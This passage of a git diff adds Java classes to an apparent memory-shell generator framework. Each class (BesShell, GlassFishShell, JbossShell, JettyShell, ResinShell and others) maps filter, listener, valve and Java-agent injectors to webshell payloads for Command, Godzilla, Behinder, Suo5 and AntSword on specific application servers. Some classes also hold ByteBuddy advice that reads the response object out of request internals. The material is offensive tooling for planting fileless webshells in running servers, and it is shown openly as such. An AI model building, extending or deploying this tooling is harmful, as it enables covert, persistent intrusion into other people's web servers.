com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class BesShell extends AbstractShell { + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(FILTER, BesFilterInjector.class) + .addInjector(LISTENER, BesListenerInjector.class) + .addInjector(VALVE, BesValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) + .addInjector(AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command)) + .addShellClass(VALVE, CommandValve.class) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla)) + .addShellClass(VALVE, GodzillaValve.class) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder)) + .addShellClass(VALVE, BehinderValve.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5)) + .addShellClass(VALVE, Suo5Valve.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword)) + .addShellClass(VALVE, AntSwordValve.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java new file mode 100644 index 00000000..cba68d13 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -0,0 +1,125 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +public class GlassFishShell extends AbstractShell { + + public static class ListenerInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + try { + response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = ShellCommonUtil.getFieldValue(request, "response"); + } catch (Exception ee) { + // glassfish7 + response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "reqFacHelper"), "response"); + } + } + } + } + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(FILTER, GlassFishFilterInjector.class) + .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) + .addInjector(LISTENER, GlassFishListenerInjector.class) + .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class) + .addInjector(VALVE, GlassFishValveInjector.class) + .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .build(); + } + + + @Override + protected void init() { + Class commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command); + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(JAKARTA_FILTER, CommandFilter.class) + .addShellClass(LISTENER, commandListenerClass) + .addShellClass(JAKARTA_LISTENER, commandListenerClass) + .addShellClass(VALVE, CommandValve.class) + .addShellClass(JAKARTA_VALVE, CommandValve.class) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .build()); + + Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, godzillaListenerClass) + .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) + .addShellClass(VALVE, GodzillaValve.class) + .addShellClass(JAKARTA_VALVE, GodzillaValve.class) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) + .build()); + + Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder); + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(JAKARTA_FILTER, BehinderFilter.class) + .addShellClass(LISTENER, behinderListenerClass) + .addShellClass(JAKARTA_LISTENER, behinderListenerClass) + .addShellClass(VALVE, BehinderValve.class) + .addShellClass(JAKARTA_VALVE, BehinderValve.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5); + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5Filter.class) + .addShellClass(LISTENER, suo5ListenerClass) + .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) + .addShellClass(VALVE, Suo5Valve.class) + .addShellClass(JAKARTA_VALVE, Suo5Valve.class) + .build()); + + Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword); + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, antSwordListenerClass) + .addShellClass(VALVE, AntSwordValve.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) + .build()); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java new file mode 100644 index 00000000..3c7466b1 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java @@ -0,0 +1,104 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; +import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class InforSuiteShell extends AbstractShell { + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(FILTER, InforSuiteFilterInjector.class) + .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class) + .addInjector(LISTENER, GlassFishListenerInjector.class) + .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class) + .addInjector(VALVE, GlassFishValveInjector.class) + .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .build(); + } + + @Override + protected void init() { + Class commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command); + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(JAKARTA_FILTER, CommandFilter.class) + .addShellClass(LISTENER, commandListenerClass) + .addShellClass(JAKARTA_LISTENER, commandListenerClass) + .addShellClass(VALVE, CommandValve.class) + .addShellClass(JAKARTA_VALVE, CommandValve.class) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .build()); + + Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, godzillaListenerClass) + .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) + .addShellClass(VALVE, GodzillaValve.class) + .addShellClass(JAKARTA_VALVE, GodzillaValve.class) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) + .build()); + + Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder); + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(JAKARTA_FILTER, BehinderFilter.class) + .addShellClass(LISTENER, behinderListenerClass) + .addShellClass(JAKARTA_LISTENER, behinderListenerClass) + .addShellClass(VALVE, BehinderValve.class) + .addShellClass(JAKARTA_VALVE, BehinderValve.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5); + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5Filter.class) + .addShellClass(LISTENER, suo5ListenerClass) + .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) + .addShellClass(VALVE, Suo5Valve.class) + .addShellClass(JAKARTA_VALVE, Suo5Valve.class) + .build()); + + Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword); + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, antSwordListenerClass) + .addShellClass(VALVE, AntSwordValve.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InjectorMapping.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InjectorMapping.java new file mode 100644 index 00000000..dac20148 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InjectorMapping.java @@ -0,0 +1,29 @@ +package com.reajason.javaweb.memshell.server; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Singular; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/2/21 + */ +@Builder +@AllArgsConstructor +public class InjectorMapping { + + @Singular("addInjector") + private final Map> injectorMap; + + public Class getInjector(String type) { + return injectorMap.get(type); + } + + public List getSupportedShellTypes() { + return new ArrayList<>(injectorMap.keySet()); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java new file mode 100644 index 00000000..4f9c4d52 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; +import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; +import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JbossShell extends AbstractShell { + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(FILTER, JbossFilterInjector.class) + .addInjector(LISTENER, JbossListenerInjector.class) + .addInjector(VALVE, JbossValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command)) + .addShellClass(VALVE, CommandValve.class) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla)) + .addShellClass(VALVE, GodzillaValve.class) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder)) + .addShellClass(VALVE, BehinderValve.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5)) + .addShellClass(VALVE, Suo5Valve.class) + .build()); + + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword)) + .addShellClass(VALVE, AntSwordValve.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) + .build()); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java new file mode 100644 index 00000000..78dde0a9 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java @@ -0,0 +1,114 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor; +import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor; +import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor; +import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor; +import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; +import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector; +import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; +import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public class JettyShell extends AbstractShell { + public static final String AGENT_HANDLER = AGENT + "Handler"; + + public static class ListenerInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + try { + response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response"); + } catch (Exception e) { + response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response"); + } + } + } + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(SERVLET, JettyServletInjector.class) + .addInjector(JAKARTA_SERVLET, JettyServletInjector.class) + .addInjector(FILTER, JettyFilterInjector.class) + .addInjector(JAKARTA_FILTER, JettyFilterInjector.class) + .addInjector(LISTENER, JettyListenerInjector.class) + .addInjector(JAKARTA_LISTENER, JettyListenerInjector.class) + .addInjector(AGENT_HANDLER, JettyHandlerAgentInjector.class) + .build(); + } + + @Override + protected void init() { + Class commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command); + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(SERVLET, CommandServlet.class) + .addShellClass(JAKARTA_SERVLET, CommandServlet.class) + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(JAKARTA_FILTER, CommandFilter.class) + .addShellClass(LISTENER, commandListenerClass) + .addShellClass(JAKARTA_LISTENER, commandListenerClass) + .addShellClass(AGENT_HANDLER, CommandHandlerAdvisor.class) + .build()); + + Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(SERVLET, GodzillaServlet.class) + .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class) + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, godzillaListenerClass) + .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) + .addShellClass(AGENT_HANDLER, GodzillaHandlerAdvisor.class) + .build()); + + Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder); + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(SERVLET, BehinderServlet.class) + .addShellClass(JAKARTA_SERVLET, BehinderServlet.class) + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(JAKARTA_FILTER, BehinderFilter.class) + .addShellClass(LISTENER, behinderListenerClass) + .addShellClass(JAKARTA_LISTENER, behinderListenerClass) + .addShellClass(AGENT_HANDLER, BehinderHandlerAdvisor.class) + .build()); + + Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5); + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(SERVLET, Suo5Servlet.class) + .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class) + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5Filter.class) + .addShellClass(LISTENER, suo5ListenerClass) + .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) + .build()); + + Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword); + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(SERVLET, AntSwordServlet.class) + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, antSwordListenerClass) + .addShellClass(AGENT_HANDLER, AntSwordHandlerAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java new file mode 100644 index 00000000..7022f836 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java @@ -0,0 +1,89 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector; +import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; +import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; +import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class ResinShell extends AbstractShell { + public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; + + public static class ListenerInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + response = ShellCommonUtil.getFieldValue(request, "_response"); + } + } + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(SERVLET, ResinServletInjector.class) + .addInjector(FILTER, ResinFilterInjector.class) + .addInjector(LISTENER, ResinListenerInjector.class) + .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(SERVLET, CommandServlet.class) + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command)) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(SERVLET, GodzillaServlet.class) + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla)) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(SERVLET, BehinderServlet.class) + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder)) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(SERVLET, Suo5Servlet.class) + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5)) + .build()); + + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + 